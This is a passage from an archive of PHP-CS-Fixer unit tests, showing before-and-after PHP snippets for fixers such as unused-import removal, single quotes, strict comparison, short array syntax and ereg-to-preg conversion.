        $this->makeTest($expected, $input);
    }

    public function testSimilarNames()
    {
        $expected = <<<'EOF'
<?php

use SomeEntityRepository;

class SomeService
{
    public function __construct(SomeEntityRepository $repo)
    {
        $this->repo = $repo;
    }
}
EOF;

        $input = <<<'EOF'
<?php

use SomeEntityRepository;
use SomeEntity;

class SomeService
{
    public function __construct(SomeEntityRepository $repo)
    {
        $this->repo = $repo;
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testVariableName()
    {
        $expected = <<<'EOF'
<?php


$bar = null;
EOF;

        $input = <<<'EOF'
<?php

use Foo\Bar;

$bar = null;
EOF;

        $this->makeTest($expected, $input);
    }

    public function testNamespacePart()
    {
        $expected = <<<'EOF'
<?php


new \Baz\Bar();
EOF;

        $input = <<<'EOF'
<?php

use Foo\Bar;

new \Baz\Bar();
EOF;

        $this->makeTest($expected, $input);
    }

    /**
     * @dataProvider providerUseInString
     */
    public function testUseInString($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function providerUseInString()
    {
        $expected1 = <<<'EOF'
$x=<<<'EOA'
use a;
use b;
EOA;
EOF;

        $expected2 = <<<'EOF'
$x='
use a;
use b;
';
EOF;

        $expected3 = <<<'EOF'
$x="
use a;
use b;
";
EOF;

        return array(
            array($expected1),
            array($expected2),
            array($expected3),
        );
    }

    public function testUseAsLastStatement()
    {
        $expected = <<<'EOF'
<?php

EOF;

        $input = <<<'EOF'
<?php
use Bar\Finder;
EOF;

        $this->makeTest($expected, $input);
    }

    public function testUseWithSameLastPartThatIsInNamespace()
    {
        $expected = <<<'EOF'
<?php

namespace Foo\Finder;


EOF;

        $input = <<<'EOF'
<?php

namespace Foo\Finder;

use Bar\Finder;
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFoo()
    {
        $expected = <<<'EOF'
<?php
namespace Aaa;


class Ddd
{
}

EOF;

        $input = <<<'EOF'
<?php
namespace Aaa;

use Aaa\Bbb;
use Ccc;

class Ddd
{
}

EOF;

        $this->makeTest($expected, $input);
    }

    /**
     * @dataProvider provideCloseTagCases
     */
    public function testFixABC($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCloseTagCases()
    {
        return array(
            array(
'<?php
?>inline content<?php ?>',
'<?php
     use A\AA;
     use B\C?>inline content<?php use A\D; use E\F ?>',
            ),
            array(
                '<?php ?>',
                '<?php use A\B;?>',
            ),
            array(
                '<?php ?>',
                '<?php use A\B?>',
            ),
        );
    }

    /**
     * @requires PHP 7.0
     */
    public function testPHP70()
    {
        $expected = <<<'EOF'
<?php
use some\a\{ClassD};
use some\b\{ClassA, ClassB, ClassC as C};
use function some\c\{fn_a, fn_b, fn_c};
use const some\d\{ConstA, ConstB, ConstC};

new CLassD();
echo fn_a();
EOF;
        $this->makeTest($expected);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/DuplicateSemicolonFixerTest.php000066600000002270151456236460023020 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class DuplicateSemicolonFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php $foo = 1;',
                '<?php $foo = 1;;;',
            ),
            array(
                '<?php $foo = 1;',
                '<?php $foo = 1;; ;;',
            ),
            array(
                '<?php $foo = 1;',
                '<?php $foo = 1;;
;
    ;',
            ),
            array(
                '<?php $foo = 1; ',
                '<?php $foo = 1;; ',
            ),
            array(
                '<?php for ($i = 0; ; ++$i) {}',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/SingleQuoteFixerTest.php000066600000004303151456236460021473 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Gregor Harlan <gharlan@web.de>
 */
class SingleQuoteFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideTestFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideTestFixCases()
    {
        return array(
            array(
                '<?php $a = \'\';',
                '<?php $a = "";',
            ),
            array(
                '<?php $a = \'foo bar\';',
                '<?php $a = "foo bar";',
            ),
            array(
                '<?php $a = \'foo
                    bar\';',
                '<?php $a = "foo
                    bar";',
            ),
            array(
                '<?php $a = \'foo\'.\'bar\'."$baz";',
                '<?php $a = \'foo\'."bar"."$baz";',
            ),
            array(
                '<?php $a = \'foo "bar"\';',
                '<?php $a = "foo \"bar\"";',
            ),
            array(<<<'EOF'
<?php $a = '\\foo\\bar\\\\';
EOF
                , <<<'EOF'
<?php $a = "\\foo\\bar\\\\";
EOF
            ),
            array(
                '<?php $a = \'foo $bar7\';',
                '<?php $a = "foo \$bar7";',
            ),
            array(
                '<?php $a = \'foo $(bar7)\';',
                '<?php $a = "foo \$(bar7)";',
            ),
            array(
                '<?php $a = \'foo \\\\($bar8)\';',
                '<?php $a = "foo \\\\(\$bar8)";',
            ),
            array('<?php $a = "foo \\" \\$$bar";'),
            array('<?php $a = \'foo bar\';'),
            array('<?php $a = \'foo "bar"\';'),
            array('<?php $a = "foo \'bar\'";'),
            array('<?php $a = "foo $bar";'),
            array('<?php $a = "foo ${bar}";'),
            array('<?php $a = "foo\n bar";'),
            array(<<<'EOF'
<?php $a = "\\\n";
EOF
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocVarWithoutNameFixerTest.php000066600000005576151456236460023324 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocVarWithoutNameFixerTest extends AbstractFixerTestBase
{
    public function testFixVar()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var string Hello!
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @var string $foo Hello!
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixType()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var int|null
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @var int|null $bar
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testDoNothing()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var Foo\Bar This is a variable.
     */

EOF;

        $this->makeTest($expected);
    }

    public function testFixVarWithOtherAnnotation()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var string Hello!
     *
     * @deprecated
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @var string $foo Hello!
     *
     * @deprecated
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixVarWithNestedKeys()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var array {
     *     @var bool   $required Whether this element is required
     *     @var string $label    The display name for this element
     * }
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @var array $options {
     *     @var bool   $required Whether this element is required
     *     @var string $label    The display name for this element
     * }
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testSingleLine()
    {
        $expected = <<<'EOF'
<?php
    /** @var Foo\Bar $bar */
    $bar;
EOF;

        $this->makeTest($expected);
    }

    public function testEmpty()
    {
        $expected = <<<'EOF'
<?php
    /**
     *
     */

EOF;

        $this->makeTest($expected);
    }

    public function testInlineDoc()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Initializes this class with the given options.
     *
     * @param array $options {
     *     @var bool   $required Whether this element is required
     *     @var string $label    The display name for this element
     * }
     */

EOF;

        $this->makeTest($expected);
    }

    public function testInlineDocAgain()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param int[] $stuff {
     *     @var int $foo
     * }
     *
     * @return void
     */

EOF;

        $this->makeTest($expected);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/PhpUnitStrictFixerTest.php000066600000004337151456236460021757 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class PhpUnitStrictFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideTestFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideTestFixCases()
    {
        $fixerReflection = new \ReflectionClass($this->getFixer());
        $propertyReflection = $fixerReflection->getProperty('configuration');
        $propertyReflection->setAccessible(true);
        $methodsMap = $propertyReflection->getValue($this->getFixer());

        $cases = array(
            array('<?php $self->foo();'),
        );

        foreach ($methodsMap as $methodBefore => $methodAfter) {
            $cases[] = array("<?php \$sth->$methodBefore(1, 1);");
            $cases[] = array("<?php \$sth->$methodAfter(1, 1);");
            $cases[] = array(
                "<?php \$this->$methodAfter(1, 2);",
                "<?php \$this->$methodBefore(1, 2);",
            );
            $cases[] = array(
                "<?php \$this->$methodAfter(1, 2); \$this->$methodAfter(1, 2);",
                "<?php \$this->$methodBefore(1, 2); \$this->$methodBefore(1, 2);",
            );
            $cases[] = array(
                "<?php \$this->$methodAfter(1, 2, 'descr');",
                "<?php \$this->$methodBefore(1, 2, 'descr');",
            );
            $cases[] = array(
                "<?php \$this->/*aaa*/$methodAfter \t /**bbb*/  ( /*ccc*/1  , 2);",
                "<?php \$this->/*aaa*/$methodBefore \t /**bbb*/  ( /*ccc*/1  , 2);",
            );
            $cases[] = array(
                "<?php \$this->$methodAfter(\$expectedTokens->count() + 10, \$tokens->count() ? 10 : 20 , 'Test');",
                "<?php \$this->$methodBefore(\$expectedTokens->count() + 10, \$tokens->count() ? 10 : 20 , 'Test');",
            );
        }

        return $cases;
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/PhpdocOrderFixerTest.php000066600000007326151456236460021411 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocOrderFixerTest extends AbstractFixerTestBase
{
    public function testNoChanges()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Do some cool stuff.
     *
     * @param EngineInterface $templating
     * @param string          $name
     *
     * @throws Exception
     *
     * @return void|bar
     */

EOF;
        $this->makeTest($expected);
    }

    public function testOnlyParams()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param EngineInterface $templating
     * @param string          $name
     */

EOF;
        $this->makeTest($expected);
    }

    public function testOnlyReturns()
    {
        $expected = <<<'EOF'
<?php
    /**
     *
     * @return void|bar
     *
     */

EOF;
        $this->makeTest($expected);
    }

    public function testEmpty()
    {
        $this->makeTest('/***/');
    }

    public function testNoAnnotations()
    {
        $expected = <<<'EOF'
<?php
    /**
     *
     *
     *
     */

EOF;
        $this->makeTest($expected);
    }

    public function testFixBasicCase()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param string $foo
     * @throws Exception
     * @return bool
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @throws Exception
     * @return bool
     * @param string $foo
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixCompeteCase()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello there!
     *
     * Long description
     * goes here.
     *
     * @internal
     *
     *
     * @custom Test!
     *         asldnaksdkjasdasd
     *
     *
     *
     * @param string $foo
     * @param bool   $bar Bar
     * @throws Exception|RuntimeException dfsdf
     *         jkaskdnaksdnkasndansdnansdajsdnkasd
     * @return bool Return false on failure.
     * @return int  Return the number of changes.
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hello there!
     *
     * Long description
     * goes here.
     *
     * @internal
     *
     * @throws Exception|RuntimeException dfsdf
     *         jkaskdnaksdnkasndansdnansdajsdnkasd
     *
     * @custom Test!
     *         asldnaksdkjasdasd
     *
     *
     * @return bool Return false on failure.
     * @return int  Return the number of changes.
     *
     * @param string $foo
     * @param bool   $bar Bar
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testExampleFromSymfony()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Renders a template.
     *
     * @param mixed $name       A template name
     * @param array $parameters An array of parameters to pass to the template
     *
     * @throws \InvalidArgumentException if the template does not exist
     * @throws \RuntimeException         if the template cannot be rendered
     * @return string The evaluated template as a string
     *
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Renders a template.
     *
     * @param mixed $name       A template name
     * @param array $parameters An array of parameters to pass to the template
     *
     * @return string The evaluated template as a string
     *
     * @throws \InvalidArgumentException if the template does not exist
     * @throws \RuntimeException         if the template cannot be rendered
     */

EOF;

        $this->makeTest($expected, $input);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/PhpdocVarToTypeFixerTest.php000066600000003255151456236460022230 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class PhpdocVarToTypeFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php
    /**
     *
     */',
            ),
            array(
                '<?php
    /**
     * @type string Hello!
     */',
                '<?php
    /**
     * @var string Hello!
     */',
            ),
            array(
                '<?php /** @type string Hello! */',
                '<?php /** @var string Hello! */',
            ),
            array(
                '<?php
    /**
     * Initializes this class with the given options.
     *
     * @param array $options {
     *     @type bool   $required Whether this element is required
     *     @type string $label    The display name for this element
     * }
     */',
                '<?php
    /**
     * Initializes this class with the given options.
     *
     * @param array $options {
     *     @var bool   $required Whether this element is required
     *     @var string $label    The display name for this element
     * }
     */',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/ShortArraySyntaxFixerTest.php000066600000004045151456236460022500 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Sebastiaan Stok <s.stok@rollerscapes.net>
 */
class ShortArraySyntaxFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples()
    {
        return array(
            array('<?php $x = [];', '<?php $x = array();'),
            array('<?php $x = []; $y = [];', '<?php $x = array(); $y = array();'),
            array('<?php $x = [ ];', '<?php $x = array( );'),
            array('<?php $x = [\'foo\'];', '<?php $x = array(\'foo\');'),
            array('<?php $x = [ \'foo\' ];', '<?php $x = array( \'foo\' );'),
            array('<?php $x = [($y ? true : false)];', '<?php $x = array(($y ? true : false));'),
            array('<?php $x = [($y ? [true] : [false])];', '<?php $x = array(($y ? array(true) : array(false)));'),
            array('<?php $x = [($y ? [true] : [ false ])];', '<?php $x = array(($y ? array(true) : array( false )));'),
            array('<?php $x = [($y ? ["t" => true] : ["f" => false])];', '<?php $x = array(($y ? array("t" => true) : array("f" => false)));'),
            array('<?php print_r([($y ? true : false)]);', '<?php print_r(array(($y ? true : false)));'),
            array('<?php $x = [[[]]];', '<?php $x = array(array(array()));'),
            array('<?php $x = [[[]]]; $y = [[[]]];', '<?php $x = array(array(array())); $y = array(array(array()));'),
            array('<?php function(array $foo = []) {};', '<?php function(array $foo = array()) {};'),
            array('<?php function(array $foo) {};'),
            array('<?php function(array $foo = []) {};', '<?php function(array $foo = array()) {};'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/PhpUnitConstructFixerTest.php000066600000006651151456236460022474 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class PhpUnitConstructFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideTestFixCases
     */
    public function testFix($expected, $input = null)
    {
        $fixer = $this->getFixer();

        $fixer->configure(array(
            'assertEquals' => true,
            'assertSame' => true,
            'assertNotEquals' => true,
            'assertNotSame' => true,
        ));
        $this->makeTest($expected, $input, null, $fixer);

        $fixer->configure(array(
            'assertEquals' => false,
            'assertSame' => false,
            'assertNotEquals' => false,
            'assertNotSame' => false,
        ));
        $this->makeTest($input ?: $expected, null, null, $fixer);

        foreach (array('assertSame', 'assertEquals', 'assertNotEquals', 'assertNotSame') as $method) {
            $config = array(
                'assertEquals' => false,
                'assertSame' => false,
                'assertNotEquals' => false,
                'assertNotSame' => false,
            );
            $config[$method] = true;

            $fixer->configure($config);
            $this->makeTest(
                $expected,
                $input && false !== strpos($input, $method) ? $input : null,
                null,
                $fixer
            );
        }
    }

    public function provideTestFixCases()
    {
        $cases = array(
            array('<?php $sth->assertSame(true, $foo);'),
            array(
                '<?php
    $this->assertTrue(
        $a,
        "foo" . $bar
    );',
                '<?php
    $this->assertSame(
        true,
        $a,
        "foo" . $bar
    );',
            ),
            array(
                '<?php $this->assertNull(/*bar*/ $a);',
                '<?php $this->assertSame(null /*foo*/, /*bar*/ $a);',
            ),
            array(
                '<?php $this->assertSame(null === $eventException ? $exception : $eventException, $event->getException());',
            ),
            array(
                '<?php $this->assertSame(null /*comment*/ === $eventException ? $exception : $eventException, $event->getException());',
            ),
        );

        return array_merge(
            $cases,
            $this->generateCases('<?php $this->assert%s%s($a); //%s %s', '<?php $this->assert%s(%s, $a); //%s %s'),
            $this->generateCases('<?php $this->assert%s%s($a, "%s", "%s");', '<?php $this->assert%s(%s, $a, "%s", "%s");')
        );
    }

    private function generateCases($expectedTemplate, $inputTemplate)
    {
        $cases = array();
        $functionTypes = array('Same' => true, 'NotSame' => false, 'Equals' => true, 'NotEquals' => false);
        foreach (array('true', 'false', 'null') as $type) {
            foreach ($functionTypes as $method => $positive) {
                $cases[] = array(
                    sprintf($expectedTemplate, $positive ? '' : 'Not', ucfirst($type), $method, $type),
                    sprintf($inputTemplate, $method, $type, $method, $type),
                );
            }
        }

        return $cases;
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/StrictParamFixerTest.php000066600000006013151456236460021421 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class StrictParamFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array(
            array(
                '<?php
    in_array(1, $a, true);
    in_array(1, $a, false);
    in_array(1, $a, $useStrict);',
            ),
            array(
                '<?php
    in_array(1, $a, true);',
                '<?php
    in_array(1, $a);',
            ),
            array(
                '<?php
    in_array(1, foo(), true);',
                '<?php
    in_array(1, foo());',
            ),
            array(
                '<?php
    in_array(1, array(1, 2, 3), true);',
                '<?php
    in_array(1, array(1, 2, 3));',
            ),
            array(
                '<?php
    in_array(1, [1, 2, 3], true);',
                '<?php
    in_array(1, [1, 2, 3]);',
            ),
            array(
                '<?php
    in_array(in_array(1, [1, in_array(1, [1, 2, 3], true) ? 21 : 22, 3], true) ? 111 : 222, [1, in_array(1, [1, 2, 3], true) ? 21 : 22, 3], true);',
                '<?php
    in_array(in_array(1, [1, in_array(1, [1, 2, 3]) ? 21 : 22, 3]) ? 111 : 222, [1, in_array(1, [1, 2, 3]) ? 21 : 22, 3]);',
            ),
            array(
                '<?php
    base64_decode($foo, true);
    base64_decode($foo, false);
    base64_decode($foo, $useStrict);',
            ),
            array(
                '<?php
    base64_decode($foo, true);',
                '<?php
    base64_decode($foo);',
            ),
            array(
                '<?php
    array_search($foo, $bar, true);
    array_search($foo, $bar, false);
    array_search($foo, $bar, $useStrict);',
            ),
            array(
                '<?php
    array_search($foo, $bar, true);',
                '<?php
    array_search($foo, $bar);',
            ),
            array(
                '<?php
    array_keys($foo);
    array_keys($foo, $bar, true);
    array_keys($foo, $bar, false);
    array_keys($foo, $bar, $useStrict);',
            ),
            array(
                '<?php
    array_keys($foo, $bar, true);',
                '<?php
    array_keys($foo, $bar);',
            ),
            array(
                '<?php
    mb_detect_encoding($foo, $bar, true);
    mb_detect_encoding($foo, $bar, false);
    mb_detect_encoding($foo, $bar, $useStrict);',
            ),
            array(
                '<?php
    mb_detect_encoding($foo, mb_detect_order(), true);',
                '<?php
    mb_detect_encoding($foo);',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/MultilineSpacesBeforeSemicolonFixerTest.php000066600000004067151456236460025274 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author John Kelly <wablam@gmail.com>
 * @author Graham Campbell <graham@mineuk.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class MultilineSpacesBeforeSemicolonFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php
$this
    ->setName(\'readme1\')
    ->setDescription(\'Generates the README\');
',
                '<?php
$this
    ->setName(\'readme1\')
    ->setDescription(\'Generates the README\')
;
',
            ),
            array(
                '<?php
$this
    ->setName(\'readme2\')
    ->setDescription(\'Generates the README\');
',
                '<?php
$this
    ->setName(\'readme2\')
    ->setDescription(\'Generates the README\')
    ;
',
            ),
            array(
                '<?php echo "$this->foo(\'with param containing ;\') ;" ;',
            ),
            array(
                '<?php $this->foo();',
            ),
            array(
                '<?php $this->foo() ;',
            ),
            array(
                '<?php $this->foo(\'with param containing ;\') ;',
            ),
            array(
                '<?php $this->foo(\'with param containing ) ; \') ;',
            ),
            array(
                '<?php $this->foo("with param containing ) ; ")  ; ?>',
            ),
            array(
                '<?php $this->foo("with semicolon in string) ; "); ?>',
            ),
            array(
                '<?php
$this
    ->example();',
                '<?php
$this
    ->example()

    ;',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/NewlineAfterOpenTagFixerTest.php000066600000003357151456236460023041 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Ceeram <ceeram@cakephp.org>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class NewlineAfterOpenTagFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @requires PHP 5.4
     * @dataProvider provideCases54
     */
    public function testFix54($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php
$a = function(){
                    echo 1;
                };',
                '<?php $a = function(){
                    echo 1;
                };',
            ),
            array(
                '<?php $foo = true; ?>',
            ),
            array(
                '<?php $foo = true; ?>
',
            ),
            array(
                '<?php


$foo = true;
?>',
            ),
            array(
                '<?php
$foo = true;
$bar = false;
?>',
                '<?php $foo = true;
$bar = false;
?>',
            ),
            array(
                '<?php $foo = true; ?>
Html here
<?php $bar = false; ?>',
            ),
        );
    }

    public function provideCases54()
    {
        return array(
            array(
                '<?= $bar;
$foo = $bar;
?>',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/EregToPregFixerTest.php000066600000004514151456236460021177 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Matteo Beccati <matteo@beccati.com>
 */
class EregToPregFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples()
    {
        return array(
            array('<?php $x = 1;'),
            array('<?php $x = "ereg";'),

            array('<?php $x = ereg("[A-Z]"."foo", $m);'),

            array('<?php $x = ereg("^*broken", $m);'),

            array('<?php $x = Foo::split("[A-Z]", $m);'),
            array('<?php $x = $foo->split("[A-Z]", $m);'),

            array('<?php $x = preg_match(\'/[A-Z]/D\');', '<?php $x = ereg(\'[A-Z]\');'),
            array('<?php $x = preg_match(\'/[A-Z]/D\', $m);', '<?php $x = ereg(\'[A-Z]\', $m);'),

            array('<?php $x = preg_match("/[A-Z]/D", $m);', '<?php $x = ereg("[A-Z]", $m);'),
            array('<?php $x = preg_match("/[A-Z]/Di", $m);', '<?php $x = eregi("[A-Z]", $m);'),
            array('<?php $x = preg_match("#/[AZ]#D", $m);', '<?php $x = ereg("/[AZ]", $m);'),
            array('<?php $x = preg_match("#[AZ]/#D", $m);', '<?php $x = ereg("[AZ]/", $m);'),
            array('<?php $x = preg_match("!#[A]/!D", $m);', '<?php $x = ereg("#[A]/", $m);'),
            array('<?php $x = preg_match("!##[A\!]//!D", $m);', '<?php $x = ereg("##[A!]//", $m);'),
            array('<?php $x = preg_match("/##[A!!]\/\//D", $m);', '<?php $x = ereg("##[A!!]//", $m);'),
            array('<?php $x = preg_match("#\#\#[A!!]///#D", $m);', '<?php $x = ereg("##[A!!]///", $m);'),

            array('<?php $x = preg_replace("/[A-Z]/D", "", $m);', '<?php $x = ereg_replace("[A-Z]", "", $m);'),
            array('<?php $x = preg_replace("/[A-Z]/Di", "", $m);', '<?php $x = eregi_replace("[A-Z]", "", $m);'),
            array('<?php $x = preg_split("/[A-Z]/D", $m);', '<?php $x = split("[A-Z]", $m);'),
            array('<?php $x = preg_split("/[A-Z]/Di", $m);', '<?php $x = spliti("[A-Z]", $m);'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/StrictFixerTest.php000066600000001621151456236460020440 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class StrictFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideTestFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideTestFixCases()
    {
        return array(
            array('<?php $a === $b;', '<?php $a == $b;'),
            array('<?php $a !== $b;', '<?php $a != $b;'),
            array('<?php $a !== $b;', '<?php $a <> $b;'),
            array('<?php echo "$a === $b";'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/NoBlankLinesBeforeNamespaceFixerTest.php000066600000003305151456236460024450 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class NoBlankLinesBeforeNamespaceFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     *
     * @param string      $expected
     * @param string|null $input
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @return array
     */
    public function provideExamples()
    {
        return array(
